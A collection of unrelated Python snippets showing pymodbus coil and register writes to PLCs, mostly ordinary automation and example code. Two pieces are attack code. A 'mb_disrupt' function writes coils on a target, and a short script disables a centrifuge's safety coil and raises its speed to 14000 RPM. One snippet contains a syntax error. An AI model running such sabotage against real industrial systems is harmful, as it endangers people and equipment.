def post(self): query = self.reqparse.parse_args() client = ModbusClient(query['ip'], query['port']) client.connect() data = query['data'] start_address = query['start_address'] builder.reset() for vol in data: print(vol) builder.add_32bit_int(vol) parsed = builder.build() parsed = parsed[1::2] print(parsed) if query['type_prefix'] == ModbusTypePrefix.COIL.value: client.write_coils(start_address, parsed, skip_encode=True, unit=1) elif query['type_prefix'] == ModbusTypePrefix.HOLDING_REGISTER.value: client.write_registers(start_address, parsed, skip_encode=True, unit=1) client.close() return {'result': True}
def loop_process(): # Main Process (template = flip-flop) err_count = 0 registre_count = 10 while True: sleep(1) try: client = ModbusTcpClient(modbus_server_ip, modbus_server_port) coils = client.read_coils(0, count=registre_count, unit=UNIT) coils = coils.bits[:registre_count] # flipping booleans from list coils coils = [not i for i in coils] client.write_coils(0, coils) registers = client.read_holding_registers(0, count=registre_count, unit=UNIT) registers = registers.registers[:registre_count] registers = [i + 1 for i in registers] client.write_registers(0, registers, unit=UNIT) updateGPIO(coils, registers) except Exception as err: print('[error] %s' % err) err_count += 1 if err_count == 5: print('[error] 5 errors happened in the process ! exiting...') sys.exit(1)
def initdb(): try: client = ModbusTcpClient(modbus_server_ip, modbus_server_port) # Coils table # 0 : eolienne status (manual) # 1 : eolienne status (wind speed control, should be between 15km/h and 90km/h) # (corresponding to 4m/s and 25m/s) # 25 : eolienne broken status # # Holding registers table # 0 : wind speed (m/s) # 1 : power production (kW) # 2-9 : not used # 10 : wind min speed (4m/s) # 11 : wind max (25 m/s) client.write_coils(0, [True, True], unit=UNIT) client.write_coils(25, [False], unit=UNIT) client.write_registers(0, [speed, 0], unit=UNIT) client.write_registers(10, [4, 25], unit=UNIT) except Exception as err: print '[error] Can\'t init the Modbus coils' print '[error] %s' % err print '[error] exiting...' sys.exit(1)
class Client: def __init__(self): self.client = None self.handle = None self.ip = '127.0.0.1' self.port = 502 def setup(self, config): self.handle = config self.ip = config['ipv4']['value'] self.port = config['port']['value'] self.client = ModbusTcpClient(self.ip, self.port) def execute(self, fc, addr, length=1, values=None): result = None if fc == 1: temp = self.client.read_coils(addr, length) result = [] for i in range(temp.byte_count): t2 = temp.bits[i * 16:(i + 1) * 16] result.append(''.join([str(int(x)) for x in t2])) elif fc == 2: temp = self.client.read_discrete_inputs(addr, length) result = [] for i in range(temp.byte_count): t2 = temp.bits[i * 16:(i + 1) * 16] result.append(''.join([str(int(x)) for x in t2])) elif fc == 3: temp = self.client.read_holding_registers(addr, length).registers result = ['{0:016b}'.format(x) for x in temp] elif fc == 4: temp = self.client.read_input_registers(addr, length).registers result = ['{0:016b}'.format(x) for x in temp] elif fc == 5: if values: self.client.write_coil(addr, values[0]) elif fc == 6: if values: self.client.write_register(addr, values[0]) elif fc == 15: if values: self.client.write_coils(addr, values) elif fc == 16: if values: self.client.write_registers(addr, values) return result def update_config(self, conf): self.ip = conf['ipv4']['value'] self.port = conf['port']['value'] self.client = ModbusTcpClient(self.ip, self.port) self.handle = conf def connect(self): return self.client.connect()
def turn_states(host, port=MODBUS_PORT, state=False, uid=None): client = ModbusTcpClient(host, port) try: if uid is not None: client.write_coil(uid, state) result = client.read_coils(uid, 1) print('{:3d} : {}'.format(uid, _status(result.bits[0]))) else: values = [state for _ in range(MAX_COILS_COUNT)] client.write_coils(0, values) result = client.read_coils(0, MAX_COILS_COUNT) for i in range(len(result.bits)): print('{:3d} : {}'.format(i, _status(result.bits[i]))) finally: client.close()
def write_multiple_coils(self, command): parser = argument_parser() command = 'write_multiple_coils ' + command spec = parser.parse_args(command.split()) response = _ModbusClient.write_coils( self, spec.address, list(map(int, spec.values)), unit=spec.unit_id) return response
def write_coils(): form = ReusableForm(request.form) print form.errors if request.method == 'POST': ip = request.form['ip'] port = request.form['port'] address = request.form['address'] value = request.form['value'] unitId = request.form['unitId'] print ip, " ", port, " ", address host = ip port = int(port) client = ModbusTcpClient(host, port) client.connect() rr = client.write_coils(int(address), int(value), unit=int(unitId)) assert (rr.function_code < 0x80) # test that we are not an error if form.validate(): flash("Success") else: flash('Error') return render_template('write-coils.html', form=form)
def run_sync_client(): # ------------------------------------------------------------------------# # choose the client you want # ------------------------------------------------------------------------# # make sure to start an implementation to hit against. For this # you can use an existing device, the reference implementation in the tools # directory, or start a pymodbus server. # # If you use the UDP or TCP clients, you can override the framer being used # to use a custom implementation (say RTU over TCP). By default they use # the socket framer:: # # client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer) # # It should be noted that you can supply an ipv4 or an ipv6 host address # for both the UDP and TCP clients. # # There are also other options that can be set on the client that controls # how transactions are performed. The current ones are: # # * retries - Specify how many retries to allow per transaction (default=3) # * retry_on_empty - Is an empty response a retry (default = False) # * source_address - Specifies the TCP source address to bind to # * strict - Applicable only for Modbus RTU clients. # Adheres to modbus protocol for timing restrictions # (default = True). # Setting this to False would disable the inter char timeout # restriction (t1.5) for Modbus RTU # # # Here is an example of using these options:: # # client = ModbusClient('localhost', retries=3, retry_on_empty=True) # ------------------------------------------------------------------------# client = ModbusClient('localhost', port=502) # from pymodbus.transaction import ModbusRtuFramer # client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer) # client = ModbusClient(method='binary', port='/dev/ptyp0', timeout=1) # client = ModbusClient(method='ascii', port='/dev/ptyp0', timeout=1) # client = ModbusClient(method='rtu', port='/dev/ptyp0', timeout=1, # baudrate=9600) client.connect() # ------------------------------------------------------------------------# # specify slave to query # ------------------------------------------------------------------------# # The slave to query is specified in an optional parameter for each # individual request. This can be done by specifying the `unit` parameter # which defaults to `0x00` # ----------------------------------------------------------------------- # log.debug("Reading Coils") data = [False,False,False,False,False,False,False,False,False,False,False,False,False,False,False,True] rq = client.write_coils(int("0x00000", 0), data, unit=0x00) client.close()
def run_sync_client(): client = ModbusClient('localhost', port=5020) client.connect() for i in range(5): log.debug("Reading Coils") client.read_coils(1, 1 + i, unit=UNIT) # first param - address: The starting address to read from # second param - count: The number of coils to read time.sleep(0.1) # 100ms przerwy między Reading Coils log.debug("Reading Coils") client.read_coils(2, 3 + i, unit=UNIT) time.sleep(0.1) log.debug("Write to a Coil") client.write_coils(1, 4, unit=UNIT) time.sleep(5) # 5s przerwy między write coils log.debug("Write to a Coil") client.write_coil(4, 3, unit=UNIT) time.sleep(5) # log.debug("Read discrete inputs") # client.read_discrete_inputs(0, 8, unit=UNIT) # # first param - The starting address to read from # # second param - The number of discretes to read # # log.debug("Write to a holding register and read back") # client.write_register(1, 10, unit=UNIT) # # first param - The starting address to write to # # second param - The value to write to the specified address # # log.debug("Read back") # client.read_holding_registers(1, 1, unit=UNIT) # # first param - The starting address to read from # # second param - The number of registers to read client.close()
def mb_disrupt(target): client = ModbusTcpClient(target, timeout=time_out) try: attack = client.write_coils(0x0000, [1, 1, 1]) status = str(attack) except ConnectionException: status = "Error: No connection to target" except (ModbusIOException, ParameterException, ModbusException, InvalidMessageReceivedException, MessageRegisterException, NoSuchSlaveException, NotImplementedException): status = "Error:" + str(sys.exc_info()[0]) pass client.close() return status
def writeMBcoils(clientIP, coil, valuelist): from pymodbus.client.sync import ModbusTcpClient, ConnectionException client = ModbusTcpClient(clientIP) try: rawresult = client.write_coils(coil, valuelist) except ConnectionException: # print('we were unable to connect to the host') statuscode = 7 else: if 'exception_code' in rawresult.__dict__: statuscode = rawresult.exception_code values = [] else: statuscode = 0 values = valuelist client.close() result = {'message': messagefrommbstatuscode(statuscode), 'statuscode': statuscode, 'values': values} return result
def writeMBcoils(clientIP, coil, valuelist): from pymodbus.client.sync import ModbusTcpClient, ConnectionException client = ModbusTcpClient(clientIP) try: rawresult = client.write_coils(coil, valuelist) except ConnectionException: # print('we were unable to connect to the host') statuscode = 7 else: if 'exception_code' in rawresult.__dict__: statuscode = rawresult.exception_code values = [] else: statuscode = 0 values = valuelist client.close() result = { 'message': messagefrommbstatuscode(statuscode), 'statuscode': statuscode, 'values': values } return result
def run_sync_client(): # ------------------------------------------------------------------------# # choose the client you want # ------------------------------------------------------------------------# # make sure to start an implementation to hit against. For this # you can use an existing device, the reference implementation in the tools # directory, or start a pymodbus server. # # If you use the UDP or TCP clients, you can override the framer being used # to use a custom implementation (say RTU over TCP). By default they use # the socket framer:: # # client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer) # # It should be noted that you can supply an ipv4 or an ipv6 host address # for both the UDP and TCP clients. # # There are also other options that can be set on the client that controls # how transactions are performed. The current ones are: # # * retries - Specify how many retries to allow per transaction (default=3) # * retry_on_empty - Is an empty response a retry (default = False) # * source_address - Specifies the TCP source address to bind to # # Here is an example of using these options:: # # client = ModbusClient('localhost', retries=3, retry_on_empty=True) # ------------------------------------------------------------------------# client = ModbusClient('localhost', port=5020) # client = ModbusClient(method='ascii', port='/dev/pts/2', timeout=1) # client = ModbusClient(method='rtu', port='/dev/ttyp0', timeout=1) client.connect() # ------------------------------------------------------------------------# # specify slave to query # ------------------------------------------------------------------------# # The slave to query is specified in an optional parameter for each # individual request. This can be done by specifying the `unit` parameter # which defaults to `0x00` # ----------------------------------------------------------------------- # log.debug("Reading Coils") rr = client.read_coils(1, 1, unit=0x01) print(rr) # ----------------------------------------------------------------------- # # example requests # ----------------------------------------------------------------------- # # simply call the methods that you would like to use. An example session # is displayed below along with some assert checks. Note that some modbus # implementations differentiate holding/input discrete/coils and as such # you will not be able to write to these, therefore the starting values # are not known to these tests. Furthermore, some use the same memory # blocks for the two sets, so a change to one is a change to the other. # Keep both of these cases in mind when testing as the following will # _only_ pass with the supplied async modbus server (script supplied). # ----------------------------------------------------------------------- # log.debug("Write to a Coil and read back") rq = client.write_coil(0, True, unit=UNIT) rr = client.read_coils(0, 1, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits[0] == True) # test the expected value log.debug("Write to multiple coils and read back- test 1") rq = client.write_coils(1, [True]*8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error rr = client.read_coils(1, 21, unit=UNIT) assert(rr.function_code < 0x80) # test that we are not an error resp = [True]*21 # If the returned output quantity is not a multiple of eight, # the remaining bits in the final data byte will be padded with zeros # (toward the high order end of the byte). resp.extend([False]*3) assert(rr.bits == resp) # test the expected value log.debug("Write to multiple coils and read back - test 2") rq = client.write_coils(1, [False]*8, unit=UNIT) rr = client.read_coils(1, 8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits == [False]*8) # test the expected value log.debug("Read discrete inputs") rr = client.read_discrete_inputs(0, 8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error log.debug("Write to a holding register and read back") rq = client.write_register(1, 10, unit=UNIT) rr = client.read_holding_registers(1, 1, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.registers[0] == 10) # test the expected value log.debug("Write to multiple holding registers and read back") rq = client.write_registers(1, [10]*8, unit=UNIT) rr = client.read_holding_registers(1, 8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.registers == [10]*8) # test the expected value log.debug("Read input registers") rr = client.read_input_registers(1, 8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error arguments = { 'read_address': 1, 'read_count': 8, 'write_address': 1, 'write_registers': [20]*8, } log.debug("Read write registeres simulataneously") rq = client.readwrite_registers(unit=UNIT, **arguments) rr = client.read_holding_registers(1, 8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error assert(rq.registers == [20]*8) # test the expected value assert(rr.registers == [20]*8) # test the expected value # ----------------------------------------------------------------------- # # close the client # ----------------------------------------------------------------------- # client.close()
#if error: Exception Response(129, 1, IllegalFunction) # 01 05 00 01 FF 00 DD FA # 01 85 01 83 50 ''' #-- FC15: Write multi-coils ( 0xxxx ) for DO # write_coils(start_addr, value_array, unit=sid) print('-- write multi DO --') command = [] # for i in range(10): # if(i % 2 == 0): # command.append(1) # else: # command.append(1) # print(bool(command[i])) for i in range(8): if(i == ): command.append(1) else: command.append(0) print(bool(command[i])) #rq = client.write_coils(0, [True]*3, unit=1) rq = client.write_coils(0, command, unit=1) #rq = client.write_coils(0, [True,False,True], unit=1) #rq = client.write_coils(0, [False]*8, unit=1) #rq = client.write_coils(0, [True]*8, unit=1) print(rq) #rr = client.read_coils(0, 8, unit=1) #print rr, "DO value=", rr.bits #client.close()
clientTCP.close() times() else: a = 0 elif function_code == '0f': clientTCP = ModbusTcpClient(AddrTCP) connection = clientTCP.connect() #print(clientTCP.timeout) if connection == True: times() print( '--------------------------------------------------FC15----------------------------------------------------------' ) vetor = [0x000A, 0x0102] Response = clientTCP.write_coils(0x0013, vetor, unit=0x11) resp = reversePacket('FC15', Response) print('') print( '*********************************************************' ) print('Resultado comparado com Modbus RTU:') print(PacketCompare('FC15', sglobal, resp)) print('') print('Resposta do Modbus TCP:') print(Response) print('') print('Valor do Modbus TCP: ' + str(resp)) print( '*********************************************************' )
from time import sleep from pymodbus.client.sync import ModbusTcpClient inputState = [False] * 32 outputState = [False] * 32 clientDI_1 = ModbusTcpClient('192.168.82.77') clientDO_1 = ModbusTcpClient('192.168.82.76') clientDO_1.write_coils(1, inputState) while not sleep(0.05): try: result = clientDI_1.read_discrete_inputs(1, 32) activeButtonsIndexes = [i for i, x in enumerate(result.bits) if x] for index in activeButtonsIndexes: if inputState[index] != result.bits[index]: print(f"Button pressed {index}") outputState[index] = not outputState[index] inputState = result.bits clientDO_1.write_coils(1, outputState) clientDI_1.close() clientDO_1.close() except: print("error, resetting")
class adam6000(): def __init__(self, log, host): self.Version = 1.0 self.Description = "Setup SocketConnection to adam module" self.logger = log self.host = host self.client = None def connect(self): self.client = ModbusClient(self.host) stat = self.client is not None return stat, stat def PulsePort(self, pulsescnt, portnum, pulsetime_low, pulsetime_high): stat = False if pulsescnt == 0: return True try: for _ in range(pulsescnt): self.SetOutputbit(portnum, 1) time.sleep(pulsetime_high / 1000) stat = self.SetOutputbit(portnum, 0) time.sleep(pulsetime_low / 1000) stat = True except Exception as e: print(e) finally: return stat def SetOutputbit(self, num, stat): stat = self.client.write_coil(16 + int(num), stat) return stat def ClearCounter(self, num): adr = 33, 37, 41, 45, 49, 53, 57, 61, 65 try: self.client.write_coils(adr[num], 1) except: return False if self.readcounter(num) == 0: return True else: return False def readcounter(self, num): try: rr = self.client.read_input_registers(0, 18) # not using highbyte in this setup # idxlow = num*2 # highbyte = rr.registers[idxlow+1] cnt = rr.registers[num * 2] except Exception as e: print(e) self.logger.error("No connection to ADAM on ip: " + str(self.host)) cnt = -1 return cnt def readinputbit(self, num): stat = self.client.read_coils(0, 8).bits[num] return stat def readmodulename(self): stat = False try: sendstr ='$01M\r' self.client.send(sendstr.encode()) rawresult = self.client.receive() res = rawresult[4:4] stat = True return (stat, res) except: self.logger.error("No connection to ADAM on ip: " + str(self.host)) return (False, '') def close(self): self.client.close()
class PLC(): timeSpan=0 connected=False prev_res=0 def __init__(self, ip): #ip should be 10.3.0.2 self.client = ModbusTcpClient(ip) self.connected = self.client.connect() self.clearFlags() #self.setDefaultPurgingTime() def changeIP(self, ip): if self.connected: self.client.close() print("Modbus TCP connection closed") self.client = ModbusTcpClient(ip) self.connected = self.client.connect() if self.connected: self.clearFlags() return self.connected def clearFlags(self): if self.connected: self.client.write_coils(GLOVE_PRESENT_ADDR, (0,0,0,0,0,0,0,0,0)) #Clear all flags self.client.write_register(FURS_ON_TIME,5)#half second def waitNextGloveFlicker(self): if self.connected: for i in range(50): result = self.client.read_discrete_inputs(GLOVE_PRESENT_ADDR,1) if(self.prev_res==0 and result.bits[0]>0): #Check for rising edge self.prev_res=result.registers[0] return 1 self.prev_res=result.registers[0] time.sleep(0.02) print("Production Line Stopped") return 0 print("No PLC Connection") time.sleep(0.5) #Do not wait next glove if no connection, return -1 return -1 def waitNextGlove(self): if self.connected: for i in range(500): if not self.connected: break try: result = self.client.read_discrete_inputs(GLOVE_PRESENT_ADDR,1) if result.bits[0]: self.client.write_coil(GLOVE_PRESENT_ADDR, False) time.sleep(0.03) ##Displacement delay return 1 time.sleep(0.002) except: print("Changing PLC IP Address") print("Production Line Stopped") return 0 time.sleep(1) print("No PLC Connection") #Do not wait next glove if no connection, return 0 return -1 def readSensors(self): if self.connected: try: result = self.client.read_discrete_inputs(GLOVE_PRESENT_ADDR,4) for side, bit in enumerate(result.bits): if bit: self.client.write_coil(GLOVE_PRESENT_ADDR+side, False) return result.bits except: print("Changing PLC IP Address") print("No PLC Connection") #Do not wait next glove if no connection, return 0 return -1 def purgeGlove32(self, line): if self.connected: #activate purger by setting M1, will be cleared by PLC self.client.write_register(PURGER_ADDR+line, 1) time.sleep(0.5) self.client.write_register(PURGER_ADDR+line, 0) def purgeGlove(self, line): if self.connected: #activate purger by setting M1, will be cleared by PLC self.client.write_coil(PURGER_ADDR+line, True) def setPurgeDelay_100ms(self,line,val): if self.connected: self.client.write_register(PURGE_DELAY_ADDR+line,val) def setPurgeDuration_100ms(self,line,val): if self.connected: self.client.write_register(PURGING_DURATION_ADDR+line,val) def setPurgeInterval_100ms(self,line,val): if self.connected: self.client.write_register(PURGE_INTERVAL_ADDR+line,val) def setDefaultPurgingTime(self): if self.connected: for i in range(4): self.setPurgeDuration_100ms(i,8) self.setPurgeInterval_100ms(i,3) def isFormerAnchor(self): return self.readNClearFlag(FORMER_ANCHOR_ADDR) #Former Anchor Flag M11 def readRasmAnchor(self,side): return self.readNClearFlag(RASM_ANCHOR_ADDR+side) #RASM Anchor Flag M4~M7 def readNClearFlag(self, addr): if self.connected: try: result = self.client.read_discrete_inputs(addr,1) if result.bits[0]: self.client.write_coil(addr, False) return 1 #read and cleared else: return 0 #no flag except AttributeError: print("Anchor Checking no reading because lost PLC connection") return -1 else: return -1 #no connection def setDualBinFlap(self,side,val): if self.connected: if val: self.client.write_coil(DUAL_BIN_FLAP_ON+side, True) else: self.client.write_coil(DUAL_BIN_FLAP_OFF+side, True) def setFlipDuration_100ms(self,val): if self.connected: self.client.write_register(FLIP_DURATION_ADDR,val) def activateFurs(self,side): if self.connected: self.client.write_coil(FURS_ADDR+side, True) def close(self): self.client.close() print("Modbus TCP connection closed")
Voltage_AI_6 = AI_6 * 3.3 / 1024 Voltage_AI_7 = AI_7 * 3.3 / 1024 Voltage_AI_8 = AI_8 * 3.3 / 1024 DI_1 = GPIO.input(11) #Read Input Pin 11 as a Digital In DI_2 = GPIO.input(13) #Read Input Pin 13 as a Digital In DI_3 = GPIO.input(29) #Read Input Pin 29 as a Digital In DI_4 = GPIO.input(31) #Read Input Pin 31 as a Digital In hour = time.localtime().tm_hour minute = time.localtime().tm_min seconds = time.localtime().tm_sec system_time = hour * 10000 + minute * 100 + seconds file = open("/sys/class/thermal/thermal_zone0/temp") system_temp = float(file.read()) / 1000 file.close() pmu.send_data(phasors=[(AI_1, 0), (AI_2, 0), (AI_3, 0), (AI_4, 0)], analog=[AI_1, AI_2, AI_3, system_time, system_temp], digital=[DI_1, DI_2, DI_3, DI_4]) rr = client.read_input_registers(0, 8, unit=1) rq = client.write_registers( 0, [AI_1, 1, AI_3, AI_4, AI_5, AI_6, AI_7, AI_8], unit=1) assert (rq.function_code < 0x80) #if FC>0x80 --> Error rr = client.read_holding_registers(0, 8, unit=1) rr = client.read_discrete_inputs(0, 4, unit=1) rq = client.write_coils(0, [1, DI_2, DI_3, DI_4], unit=1) rr = client.read_coils(0, 4, unit=1) client.close() pmu.join()
#---------------------------------------------------------------------------# # simply call the methods that you would like to use. An example session # is displayed below along with some assert checks. Note that some modbus # implementations differentiate holding/input discrete/coils and as such # you will not be able to write to these, therefore the starting values # are not known to these tests. Furthermore, some use the same memory # blocks for the two sets, so a change to one is a change to the other. # Keep both of these cases in mind when testing as the following will # _only_ pass with the supplied async modbus server (script supplied). #---------------------------------------------------------------------------# rq = client.write_coil(1, True) rr = client.read_coils(1,1) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits[0] == True) # test the expected value rq = client.write_coils(1, [True]*8) rr = client.read_coils(1,8) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits == [True]*8) # test the expected value rq = client.write_coils(1, [False]*8) rr = client.read_discrete_inputs(1,8) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits == [True]*8) # test the expected value rq = client.write_register(1, 10) rr = client.read_holding_registers(1,1) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.registers[0] == 10) # test the expected value rq = client.write_registers(1, [10]*8)
class ModbusPLC: ''' Proses penyambungan PLC menggunakan ModbusTCP, pengguna hanya perlu menyediakan alamat IP serta port dimana PLC berjalan dalam menginstansi class. Contoh: plc = plc('192.168.100.1') atau plc = plc('192.168.100.1', 502) ''' def __init__(self, ip_address, port=502): ''' Menginisialisasi pengaturan koneksi PLC. Argumen ip_address port ''' self.client = ModbusClient(ip_address, port=port) def try_connect(self): ''' Mencoba koneksi ke PLC. Return: boolean ''' if self.client.connect()==False: print('Connection invalid. Please try again.') return(False) else: print('Successfully connect to PLC.') return(True) def read_coil(self, addr, quan, slave_id=0x00): ''' Membaca memori coil pada protokol Modbus PLC. Argumen addr: alamat coil mula(hex atau int) quan: jumlah coil yang dibaca slave_id: default 0x00 untuk broadcast Return: sebuah list sepanjang kelipatan delapan ''' try: self.client.connect() rr = self.client.read_coils(addr, quan, unit=slave_id) self.client.close() return(rr.bits) except Exception as e: print('An error occured while trying to read coils: %s' %str(e)) return(None) def write_coil(self, addr, val, slave_id=0x00): ''' Menulis memori coil pada protokol Modbus PLC. Argumen addr: alamat coil mula(hex atau int) val: nilai yang dituliskan (untuk menuliskan satu nilai, cukup int atau bool) (untuk menuliskan banyak nilai, gunakan list int atau list bool) slave_id: default 0x00 untuk broadcast ''' try: self.client.connect() if type(val)==bool: rr = self.client.write_coil(addr, val, unit=slave_id) print('Coil', str(addr), 'written successfully!') else: rr = self.client.write_coils(addr, val, unit=slave_id) print('Coils written successfully!') self.client.close() except Exception as e: print('An error occured while trying to write coils: %s' %str(e)) def read_register(self, addr, quan, slave_id=0x00): ''' Membaca memori register pada protokol Modbus PLC. Argumen addr: alamat register mula(hex atau int) quan: jumlah register yang dibaca slave_id: default 0x00 untuk broadcast Return: sebuah list sepanjang jumlah nilai yang diminta ''' try: self.client.connect() rr = self.client.read_holding_registers(addr, quan, unit=slave_id) return(rr.registers) self.client.close() except Exception as e: print('An error occured while trying to read registers: %s' %str(e)) return(None) def write_register(self, addr, val, slave_id=0x00): ''' Menulis memori register pada protokol Modbus PLC. Argumen addr: alamat register mula(hex atau int) val: nilai yang dituliskan (untuk menuliskan satu nilai, cukup int) (untuk menuliskan banyak nilai, gunakan list int) slave_id: default 0x00 untuk broadcast ''' try: self.client.connect() if type(val)==list: rr = self.client.write_registers(addr, val, unit=slave_id) print('Registers written successfully!') else: rr = self.client.write_register(addr, val, unit=slave_id) print('Registers written successfully!') self.client.close() except Exception as e: print('An error occured while trying to write registers: %s' %str(e))
def run_sync_client(): # ------------------------------------------------------------------------# # choose the client you want # ------------------------------------------------------------------------# # make sure to start an implementation to hit against. For this # you can use an existing device, the reference implementation in the tools # directory, or start a pymodbus server. # # If you use the UDP or TCP clients, you can override the framer being used # to use a custom implementation (say RTU over TCP). By default they use # the socket framer:: # # client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer) # # It should be noted that you can supply an ipv4 or an ipv6 host address # for both the UDP and TCP clients. # # There are also other options that can be set on the client that controls # how transactions are performed. The current ones are: # # * retries - Specify how many retries to allow per transaction (default=3) # * retry_on_empty - Is an empty response a retry (default = False) # * source_address - Specifies the TCP source address to bind to # * strict - Applicable only for Modbus RTU clients. # Adheres to modbus protocol for timing restrictions # (default = True). # Setting this to False would disable the inter char timeout # restriction (t1.5) for Modbus RTU # # # Here is an example of using these options:: # # client = ModbusClient('localhost', retries=3, retry_on_empty=True) # ------------------------------------------------------------------------# client = ModbusClient('localhost', port=5020) # from pymodbus.transaction import ModbusRtuFramer # client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer) # client = ModbusClient(method='binary', port='/dev/ptyp0', timeout=1) # client = ModbusClient(method='ascii', port='/dev/ptyp0', timeout=1) # client = ModbusClient(method='rtu', port='/dev/ptyp0', timeout=1, # baudrate=9600) client.connect() # ------------------------------------------------------------------------# # specify slave to query # ------------------------------------------------------------------------# # The slave to query is specified in an optional parameter for each # individual request. This can be done by specifying the `unit` parameter # which defaults to `0x00` # ----------------------------------------------------------------------- # log.debug("Reading Coils") rr = client.read_coils(1, 1, unit=UNIT) log.debug(rr) # ----------------------------------------------------------------------- # # example requests # ----------------------------------------------------------------------- # # simply call the methods that you would like to use. An example session # is displayed below along with some assert checks. Note that some modbus # implementations differentiate holding/input discrete/coils and as such # you will not be able to write to these, therefore the starting values # are not known to these tests. Furthermore, some use the same memory # blocks for the two sets, so a change to one is a change to the other. # Keep both of these cases in mind when testing as the following will # _only_ pass with the supplied asynchronous modbus server (script supplied). # ----------------------------------------------------------------------- # log.debug("Write to a Coil and read back") rq = client.write_coil(0, True, unit=UNIT) rr = client.read_coils(0, 1, unit=UNIT) assert(not rq.isError()) # test that we are not an error assert(rr.bits[0] == True) # test the expected value log.debug("Write to multiple coils and read back- test 1") rq = client.write_coils(1, [True]*8, unit=UNIT) assert(not rq.isError()) # test that we are not an error rr = client.read_coils(1, 21, unit=UNIT) assert(not rr.isError()) # test that we are not an error resp = [True]*21 # If the returned output quantity is not a multiple of eight, # the remaining bits in the final data byte will be padded with zeros # (toward the high order end of the byte). resp.extend([False]*3) assert(rr.bits == resp) # test the expected value log.debug("Write to multiple coils and read back - test 2") rq = client.write_coils(1, [False]*8, unit=UNIT) rr = client.read_coils(1, 8, unit=UNIT) assert(not rq.isError()) # test that we are not an error assert(rr.bits == [False]*8) # test the expected value log.debug("Read discrete inputs") rr = client.read_discrete_inputs(0, 8, unit=UNIT) assert(not rq.isError()) # test that we are not an error log.debug("Write to a holding register and read back") rq = client.write_register(1, 10, unit=UNIT) rr = client.read_holding_registers(1, 1, unit=UNIT) assert(not rq.isError()) # test that we are not an error assert(rr.registers[0] == 10) # test the expected value log.debug("Write to multiple holding registers and read back") rq = client.write_registers(1, [10]*8, unit=UNIT) rr = client.read_holding_registers(1, 8, unit=UNIT) assert(not rq.isError()) # test that we are not an error assert(rr.registers == [10]*8) # test the expected value log.debug("Read input registers") rr = client.read_input_registers(1, 8, unit=UNIT) assert(not rq.isError()) # test that we are not an error arguments = { 'read_address': 1, 'read_count': 8, 'write_address': 1, 'write_registers': [20]*8, } log.debug("Read write registeres simulataneously") rq = client.readwrite_registers(unit=UNIT, **arguments) rr = client.read_holding_registers(1, 8, unit=UNIT) assert(not rq.isError()) # test that we are not an error assert(rq.registers == [20]*8) # test the expected value assert(rr.registers == [20]*8) # test the expected value # ----------------------------------------------------------------------- # # close the client # ----------------------------------------------------------------------- # client.close()
from pymodbus.constants import Endian from pymodbus.payload import BinaryPayloadDecoder from pymodbus.client.sync import ModbusTcpClient import time REAL_SERVER_IP = '' #centrifuge workstation IP client_real_server = ModbusTcpClient(REAL_SERVER_IP, port=502) # real server. connection = client_real_server.connect() if connection: print('disabling safety controls...') client_real_server.write_coils(1, [False], unit=1) time.sleep(2) print('increasing RPMs to 14000') client_real_server.write_registers(1, 14000, unit=1) time.sleep(2) current_RPM = client_real_server.read_holding_registers( address=0x01, count=1, unit=0x01).registers print('centrifuge RPMs are now set to: ' + str(current_RPM[0])) client_real_server.close() else: print('Connection lost, Try again')
class ModbusWrapperClient(): def __init__(self, modbusUnitAddress, maxRegsRead, modbusTimeout, endian="little"): self.client = None self.modbusAddress = modbusUnitAddress self.bufferStart = 0 self.bufferEnd = 0 self.data_buffer = None self.maxRegsRead = maxRegsRead self.timeout = modbusTimeout if endian == 'auto': self.endian = Endian.Auto elif endian == 'little': self.endian = Endian.Little else: self.endian = Endian.Big self.isConnected = False self.validaddresses = None self.validaddresses_write = None def openConnectionSerial(self, modbusSerialPort, modbusMethon, modbusByte, modbusStopBits, modbusParity, modbusBaudrate, modbusTimeout): self.client = ModbusSerialClient(method=modbusMethon, port=modbusSerialPort, stopbits=modbusStopBits, bytesize=modbusByte, parity=modbusParity, baudrate=modbusBaudrate, timeout=modbusTimeout) self.tryReconnect() def openConnectionTCP(self, modbusHost, modbusPort): self.client = ModbusTcpClient(modbusHost, modbusPort) self.tryReconnect() def closeConnection(self): if self.isConnected is True: self.client.close() def tryReconnect(self): retry = MODBUS_CONNECTIONRETRY + 1 for i in range(1, retry): if self.isConnected is False: self.isConnected = self.client.connect() break log.debug("riconessione %s/%s" % (i, retry)) def load_valid_addresses(self, lista=None): log.debug("load_valid_addresses") self.validaddresses = lista def check_address(self, address): if self.validaddresses is None: return True ret = True if (address in self.validaddresses) else False return ret def readRegisters(self, address, count, mb_type='uint16', mb_funcall=3, force=False): if self.isConnected is False: self.tryReconnect() tmp = None if (self.check_address(address) is True) or (force is True): try: if mb_funcall == 1: # Read Coil Status (FC=01) result = self.client.read_coils(address, count=count, unit=self.modbusAddress) tmp = result.bits elif mb_funcall == 2: # Read Dscrete Input (FC=02) result = self.client.read_discrete_inputs( address, count=count, unit=self.modbusAddress) tmp = result.bits elif mb_funcall == 3: # Read Holding Registers (FC=03) result = self.client.read_holding_registers( address, count=count, unit=self.modbusAddress) if result != None: tmp = result.registers elif mb_funcall == 4: # Read Input Registers (FC=04) result = self.client.read_input_registers( address, count=count, unit=self.modbusAddress) #tmp = result.bits if result != None: tmp = result.registers #log.debug("out: %s" % tmp) else: log.debug("Function call not supported: %s" % mb_funcall) result = None tmp = result except Exception as e: log.exception(e) return tmp def check_address_write(self, address): if self.validaddresses_write is None: return True ret = True if (address in self.validaddresses_write) else False return ret def writeRegisters(self, address, value, mb_funcall=5, force=False, skip_encode=False): # Refer to "libmodbus" C library: http://libmodbus.org/documentation/ # log.info('writeRegisters(address="%s", 